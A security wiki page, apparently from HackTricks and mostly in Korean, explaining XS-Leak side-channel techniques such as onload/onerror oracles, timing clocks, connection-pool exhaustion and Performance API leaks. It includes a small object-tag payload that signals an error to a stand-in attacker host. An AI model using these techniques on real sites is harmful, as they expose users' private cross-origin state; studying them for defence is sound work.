# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 접근하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks 지원하기</summary>

* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

</details>
{% endhint %}

## 기본 정보

XS-Search는 **사이드 채널 취약점**을 활용하여 **교차 출처 정보**를 **추출하는 방법**입니다.

이 공격에 관련된 주요 구성 요소는 다음과 같습니다:

* **취약한 웹**: 정보가 추출될 대상 웹사이트.
* **공격자의 웹**: 피해자가 방문하는 공격자가 만든 악성 웹사이트로, 익스플로잇을 호스팅합니다.
* **포함 방법**: 취약한 웹을 공격자의 웹에 포함시키기 위해 사용되는 기술(예: window.open, iframe, fetch, href가 있는 HTML 태그 등).
* **유출 기술**: 포함 방법을 통해 수집된 정보를 바탕으로 취약한 웹의 상태 차이를 식별하는 데 사용되는 기술.
* **상태**: 공격자가 구별하고자 하는 취약한 웹의 두 가지 잠재적 조건.
* **감지 가능한 차이**: 공격자가 취약한 웹의 상태를 추론하는 데 의존하는 관찰 가능한 변동.

### 감지 가능한 차이

취약한 웹의 상태를 구별하기 위해 분석할 수 있는 여러 측면이 있습니다:

* **상태 코드**: 서버 오류, 클라이언트 오류 또는 인증 오류와 같은 **다양한 HTTP 응답 상태 코드**를 교차 출처로 구별합니다.
* **API 사용**: 특정 JavaScript 웹 API를 사용하는지 여부를 드러내는 **웹 API 사용**을 식별합니다.
* **리디렉션**: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 탐색을 감지합니다.
* **페이지 콘텐츠**: **HTTP 응답 본문** 또는 페이지 하위 리소스에서의 **변동 관찰**, 예를 들어 **임베디드 프레임 수** 또는 이미지 크기 차이.
* **HTTP 헤더**: **특정 HTTP 응답 헤더**의 존재 또는 값(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy)을 주목합니다.
* **타이밍**: 두 상태 간의 일관된 시간 차이를 감지합니다.

### 포함 방법

* **HTML 요소**: HTML은 **교차 출처 리소스 포함**을 위한 다양한 요소를 제공하며, 스타일시트, 이미지 또는 스크립트와 같은 비HTML 리소스를 요청하도록 브라우저를 강제합니다. 이 목적을 위한 잠재적 HTML 요소의 목록은 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)에서 확인할 수 있습니다.
* **프레임**: **iframe**, **object**, **embed**와 같은 요소는 HTML 리소스를 공격자의 페이지에 직접 포함할 수 있습니다. 페이지가 **프레임 보호가 없으면**, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있습니다.
* **팝업**: **`window.open`** 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP에 따라 메서드 및 속성과 상호작용할 수 있는 **창 핸들**을 제공합니다. 팝업은 종종 단일 로그인에서 사용되며, 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 최신 브라우저는 특정 사용자 작업에만 팝업 생성을 제한합니다.
* **JavaScript 요청**: JavaScript는 **XMLHttpRequests** 또는 **Fetch API**를 사용하여 대상 리소스에 직접 요청할 수 있습니다. 이러한 방법은 HTTP 리디렉션을 따르도록 선택하는 등 요청에 대한 정밀한 제어를 제공합니다.

### 유출 기술

* **이벤트 핸들러**: XS-Leaks에서 고전적인 유출 기술로, **onload** 및 **onerror**와 같은 이벤트 핸들러가 리소스 로딩 성공 또는 실패에 대한 통찰력을 제공합니다.
* **오류 메시지**: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지의 존재 여부에 따라 유출 정보를 제공할 수 있습니다.
* **전역 한계**: 메모리 용량 또는 기타 강제 브라우저 한계와 같은 브라우저의 물리적 제한은 임계값에 도달했을 때 신호를 제공하여 유출 기술로 작용할 수 있습니다.
* **전역 상태**: 브라우저의 **전역 상태**(예: History 인터페이스)와의 감지 가능한 상호작용을 악용할 수 있습니다. 예를 들어, 브라우저의 기록에 있는 **항목 수**는 교차 출처 페이지에 대한 단서를 제공할 수 있습니다.
* **성능 API**: 이 API는 **현재 페이지의 성능 세부정보**를 제공하며, 문서 및 로드된 리소스에 대한 네트워크 타이밍을 포함하여 요청된 리소스에 대한 추론을 가능하게 합니다.
* **읽기 가능한 속성**: 일부 HTML 속성은 **교차 출처로 읽을 수 있으며**, 유출 기술로 사용될 수 있습니다. 예를 들어, `window.frame.length` 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임 수를 계산할 수 있게 합니다.

## XSinator 도구 및 논문

XSinator는 **여러 알려진 XS-Leaks에 대해 브라우저를 확인하는 자동 도구**로, 그 논문에서 설명됩니다: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

도구에 **접근할 수 있는 곳**: [**https://xsinator.com/**](https://xsinator.com/)

{% hint style="warning" %}
**제외된 XS-Leaks**: XSinator의 다른 유출과 간섭할 수 있는 **서비스 워커**에 의존하는 XS-Leaks는 제외해야 했습니다. 또한, 특정 웹 애플리케이션의 잘못된 구성 및 버그에 의존하는 XS-Leaks도 **제외하기로 선택했습니다**. 예를 들어, CrossOrigin Resource Sharing (CORS) 잘못된 구성, postMessage 유출 또는 Cross-Site Scripting. 또한, 느리고 시끄럽고 부정확한 경우가 많기 때문에 시간 기반 XS-Leaks도 제외했습니다.
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 접근하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## **타이밍 기반 기술**

다음 기술 중 일부는 웹 페이지의 가능한 상태에서 차이를 감지하는 과정의 일환으로 타이밍을 사용할 것입니다. 웹 브라우저에서 시간을 측정하는 방법은 여러 가지가 있습니다.

**시계**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API는 개발자가 고해상도 타이밍 측정을 얻을 수 있도록 합니다.\
공격자가 암묵적인 시계를 만들기 위해 남용할 수 있는 API의 수가 상당합니다: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS 애니메이션 등.\
자세한 정보는: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)를 참조하세요.

## 이벤트 핸들러 기술

### Onload/Onerror

* **포함 방법**: 프레임, HTML 요소
* **감지 가능한 차이**: 상태 코드
* **자세한 정보**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **요약**: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 리소스가 성공적으로/실패적으로 로드되면 트리거되며 상태 코드를 파악할 수 있습니다.
* **코드 예제**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

코드 예제는 **JS에서 스크립트 객체를 로드하려고 시도하지만**, **객체**, 스타일시트, 이미지, 오디오와 같은 **다른 태그**도 사용할 수 있습니다. 또한, **태그를 직접 주입하고** 태그 내부에 `onload` 및 `onerror` 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 대신).

이 공격의 스크립트 없는 버전도 있습니다:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.

### Onload Timing

* **Inclusion Methods**: HTML 요소
* **Detectable Difference**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용될 수 있습니다. 그러나 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)와 같은 다른 시계를 사용할 수 있으며, 이는 50ms 이상 실행되는 작업을 식별할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

이 기술은 이전 기술과 유사하지만, **공격자**는 **긍정적 또는 부정적** 응답이 있을 때 **상당한 시간**이 걸리도록 **강제** 조치를 취하고 그 시간을 측정합니다.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: 프레임
* **Detectable Difference**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용될 수 있습니다. 다른 시계를 사용할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

리소스를 가져오는 데 걸리는 시간은 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) 및 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) 이벤트를 활용하여 측정할 수 있습니다. **`beforeunload`** 이벤트는 브라우저가 새 페이지로 이동하려고 할 때 발생하고, **`unload`** 이벤트는 실제로 이동이 이루어질 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 **브라우저가 리소스를 가져오는 데 소요된 시간**을 결정할 수 있습니다.

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: 프레임
* **Detectable Difference**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용될 수 있습니다. 다른 시계를 사용할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)이 없는 경우, 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 공격자가 측정할 수 있는 것으로 관찰되었습니다. 이 측정은 일반적으로 iframe의 `onload` 핸들러가 리소스 로딩 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인한 변동성을 우회하기 위해, 공격자는 `<iframe>` 내에서 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행과 같은 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정을 용이하게 합니다.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary**: 올바른 콘텐츠에 접근할 때 페이지가 오류를 발생시키고, 어떤 콘텐츠에 접근할 때 올바르게 로드되도록 할 수 있다면, 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.
* **Code Example**:

비밀 콘텐츠가 있는 페이지를 **Iframe** 안에 **삽입**할 수 있다고 가정해 보겠습니다.

피해자가 **Iframe**을 사용하여 "_**flag**_"가 포함된 파일을 검색하도록 **유도**할 수 있습니다(예: CSRF를 이용). Iframe 안에서는 _**onload event**_가 **항상 최소한 한 번은 실행됩니다**. 그런 다음, **URL**의 **iframe**을 **변경**할 수 있지만, URL 안의 **hash**의 **내용**만 변경합니다.

예를 들어:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

첫 번째 URL이 **성공적으로 로드되었다면**, **URL**의 **hash** 부분을 **변경**할 때 **onload** 이벤트는 **다시 트리거되지 않습니다**. 그러나 페이지가 **로드**할 때 어떤 종류의 **오류**가 발생했다면, **onload** 이벤트는 **다시 트리거됩니다**.

그런 다음, **정상적으로** 로드된 페이지와 접근할 때 **오류**가 있는 페이지를 **구별**할 수 있습니다.

### Javascript Execution

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary:** 페이지가 **민감한** 콘텐츠를 **반환**하거나 사용자가 **제어할 수 있는** 콘텐츠를 반환하는 경우, 사용자는 **부정적인 경우에 유효한 JS 코드를 설정**할 수 있으며, 각 시도마다 **`<script>`** 태그 안에 로드하여, **부정적인** 경우 공격자의 **코드**가 **실행되고**, **긍정적인** 경우에는 **아무것도** 실행되지 않습니다.
* **Code Example:**

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code & Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: **Cross-Origin Read Blocking (CORB)**는 웹 페이지가 특정 민감한 교차 출처 리소스를 로드하는 것을 방지하는 보안 조치로, **Spectre**와 같은 공격으로부터 보호합니다. 그러나 공격자는 이 보호 동작을 악용할 수 있습니다. **CORB**의 적용을 받는 응답이 `nosniff`와 `2xx` 상태 코드가 있는 _**CORB 보호**_ `Content-Type`을 반환하면, **CORB**는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 **상태 코드**(성공 또는 오류를 나타냄)와 `Content-Type`(CORB에 의해 보호되는지 여부를 나타냄)의 조합을 추론할 수 있어 정보 유출의 가능성이 있습니다.
* **Code Example**:

공격에 대한 더 많은 정보는 링크를 확인하세요.

### onblur

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: id 또는 name 속성에서 민감한 데이터를 유출합니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

**iframe** 안에 **페이지를 로드**하고 **`#id_value`**를 사용하여 페이지가 지정된 id의 iframe 요소에 **포커스**를 맞추도록 할 수 있습니다. 그런 다음 **`onblur`** 신호가 트리거되면 ID 요소가 존재합니다.\
**`portal`** 태그로 동일한 공격을 수행할 수 있습니다.

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: postMessage에서 민감한 정보를 수집하거나 postMessages의 존재를 오라클로 사용하여 페이지에서 사용자의 상태를 알 수 있습니다.
* **Code Example**: `모든 postMessages를 수신하는 코드.`

응용 프로그램은 서로 다른 출처 간에 통신하기 위해 [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)를 자주 사용합니다. 그러나 `targetOrigin` 매개변수가 제대로 지정되지 않으면 이 방법이 **민감한 정보**를 우연히 노출할 수 있습니다. 또한, 메시지를 수신하는 행위 자체가 **오라클** 역할을 할 수 있습니다. 예를 들어, 특정 메시지는 로그인한 사용자에게만 전송될 수 있습니다. 따라서 이러한 메시지의 존재 여부는 사용자의 상태나 신원에 대한 정보를 드러낼 수 있습니다.

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
지금 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Global Limits Techniques

### WebSocket API

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: WebSocket 연결 한계를 소진하면 교차 출처 페이지의 WebSocket 연결 수가 유출됩니다.
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

대상 페이지가 사용하는 **WebSocket 연결**의 수를 식별할 수 있습니다. 이를 통해 공격자는 애플리케이션 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 유출할 수 있습니다.

하나의 **출처**가 **최대 WebSocket** 연결 객체 수를 사용하고 있다면, 연결 상태와 관계없이 **새 객체를 생성하면 JavaScript 예외가 발생합니다**. 이 공격을 실행하기 위해 공격자 웹사이트는 대상 웹사이트를 팝업 또는 iframe에서 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. **던져진 예외의 수**는 **대상 웹사이트** 창에서 사용된 **WebSocket 연결의 수**입니다.

### Payment API

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: API Usage
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: Payment Request를 감지합니다. 한 번에 하나만 활성화될 수 있습니다.
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

이 XS-Leak는 공격자가 **교차 출처 페이지가 결제 요청을 시작할 때** 감지할 수 있게 합니다.

**결제 요청은 한 번에 하나만 활성화될 수** 있기 때문에, 대상 웹사이트가 Payment Request API를 사용하고 있다면, 이 API를 사용하려는 추가 시도는 실패하고 **JavaScript 예외**를 발생시킵니다. 공격자는 **주기적으로 Payment API UI를 표시하려고 시도**하여 이를 악용할 수 있습니다. 한 번의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용하고 있다는 것을 알 수 있습니다. 공격자는 UI를 생성한 후 즉시 닫아 이러한 주기적인 시도를 숨길 수 있습니다.

### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Summary:** 단일 스레드 JS 이벤트 루프를 악용하여 웹의 실행 시간을 측정합니다.
* **Code Example**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 동시성 모델에서 작동하며, 이는 **한 번에 하나의 작업만 실행할 수 있음을 의미합니다**. 이 특성은 **다른 출처의 코드가 실행되는 데 걸리는 시간을 측정하는 데 악용될 수 있습니다**. 공격자는 고정된 속성을 가진 이벤트를 지속적으로 전송하여 이벤트 루프에서 자신의 코드의 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀에 빈 공간이 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 전송하는 경우, **공격자는 자신의 작업 실행 지연을 관찰하여 이러한 외부 이벤트가 실행되는 데 걸리는 시간을 추론할 수 있습니다**. 지연에 대한 이벤트 루프 모니터링 방법은 다른 출처의 코드 실행 시간을 드러내어 민감한 정보를 노출할 수 있습니다.

{% hint style="warning" %}
실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 사용되는 리소스를 로드하는 것입니다.
{% endhint %}

### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** 웹 작업의 실행 시간을 측정하는 한 가지 방법은 스레드의 이벤트 루프를 의도적으로 차단한 다음 **이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것입니다**. 차단 작업(예: 긴 계산 또는 동기 API 호출)을 이벤트 루프에 삽입하고, 후속 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써, 차단 기간 동안 이벤트 루프에서 실행되고 있던 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프가 단일 스레드로 작업을 순차적으로 실행하는 특성을 활용하며, 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.
* **Code Example**:

이벤트 루프를 잠금으로써 실행 시간을 측정하는 기술의 중요한 장점은 **사이트 격리**를 우회할 수 있는 잠재력입니다. **사이트 격리**는 서로 다른 웹사이트를 별도의 프로세스로 분리하는 보안 기능으로, 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 접근하는 것을 방지하는 것을 목표로 합니다. 그러나 공유 이벤트 루프를 통해 다른 출처의 실행 시간을 영향을 미침으로써, 공격자는 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 대한 직접적인 접근에 의존하지 않고, 오히려 해당 출처의 활동이 공유 이벤트 루프에 미치는 영향을 관찰하여 **사이트 격리**에 의해 설정된 보호 장벽을 회피합니다.

{% hint style="warning" %}
실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 사용되는 리소스를 로드하는 것입니다.
{% endhint %}

### Connection Pool

* **Inclusion Methods**: JavaScript Requests
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** 공격자는 1개를 제외한 모든 소켓을 잠그고, 대상 웹을 로드하며 동시에 다른 페이지를 로드할 수 있습니다. 마지막 페이지가 로드되기 시작하는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.
* **Code Example**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

브라우저는 서버 통신을 위해 소켓을 사용하지만, 운영 체제와 하드웨어의 제한된 자원으로 인해 **브라우저는 동시 소켓 수에 제한을 두어야 합니다**. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:

1. 브라우저의 소켓 한도를 확인합니다. 예를 들어, 256개의 전역 소켓.
2. 255개의 소켓을 다양한 호스트에 대한 255개의 요청을 시작하여 오랜 시간 동안 점유하여 연결을 열어 둡니다.
3. 256번째 소켓을 사용하여 대상 페이지에 요청을 보냅니다.
4. 다른 호스트에 대한 257번째 요청을 시도합니다. 모든 소켓이 사용 중이므로(2단계와 3단계에 따라) 이 요청은 소켓이 사용 가능해질 때까지 대기열에 놓입니다. 이 요청이 진행되기까지의 지연 시간은 공격자에게 256번째 소켓(대상 페이지의 소켓)과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이는 2단계에서 255개의 소켓이 여전히 사용 중이므로, 새로 사용 가능한 소켓은 3단계에서 해제된 소켓이어야 함을 의미합니다. 따라서 256번째 소켓이 사용 가능해지는 데 걸린 시간은 대상 페이지에 대한 요청이 완료되는 데 걸린 시간과 직접적으로 연결됩니다.

더 많은 정보는 [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)에서 확인하세요.

### Connection Pool by Destination

* **Inclusion Methods**: JavaScript Requests
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**:
* **Summary:** 이전 기술과 유사하지만 모든 소켓을 사용하는 대신 Google **Chrome**은 **동일한 출처에 대해 6개의 동시 요청**에 제한을 둡니다. 만약 우리가 **5개를 차단**하고 **6번째** 요청을 시작하면 **시간을 측정**할 수 있으며, **피해자 페이지가** 동일한 엔드포인트에 더 많은 **요청을 보내도록** 만들 수 있다면, **6번째 요청**은 **더 오래 걸리게** 되어 이를 감지할 수 있습니다.

## Performance API Techniques

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)는 웹 애플리케이션의 성능 메트릭에 대한 통찰력을 제공하며, [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)로 더욱 풍부해집니다. Resource Timing API는 요청의 지속 시간과 같은 상세한 네트워크 요청 타이밍을 모니터링할 수 있게 해줍니다. 특히, 서버가 응답에 `Timing-Allow-Origin: *` 헤더를 포함하면 전송 크기 및 도메인 조회 시간과 같은 추가 데이터가 제공됩니다.

이 풍부한 데이터는 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 또는 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보에 대한 포괄적인 뷰를 제공합니다. 또한, API는 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)에서 얻은 타임스탬프의 차이를 계산하여 실행 시간을 측정할 수 있게 해줍니다. 그러나 Chrome과 같은 브라우저의 특정 작업에 대해 `performance.now()`의 정밀도가 밀리초로 제한될 수 있어 타이밍 측정의 세분성에 영향을 미칠 수 있습니다.

타이밍 측정 외에도 Performance API는 보안 관련 통찰력을 위해 활용될 수 있습니다. 예를 들어, Chrome의 `performance` 객체에 페이지의 존재 여부는 `X-Frame-Options`의 적용을 나타낼 수 있습니다. 구체적으로, `X-Frame-Options`로 인해 프레임에서 렌더링이 차단된 페이지는 `performance` 객체에 기록되지 않으며, 이는 페이지의 프레이밍 정책에 대한 미세한 단서를 제공합니다.

### Error Leak

* **Inclusion Methods**: Frames, HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 오류가 발생하는 요청은 리소스 타이밍 항목을 생성하지 않습니다.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지는 요청은 **성능 항목을 생성하지 않습니다**.

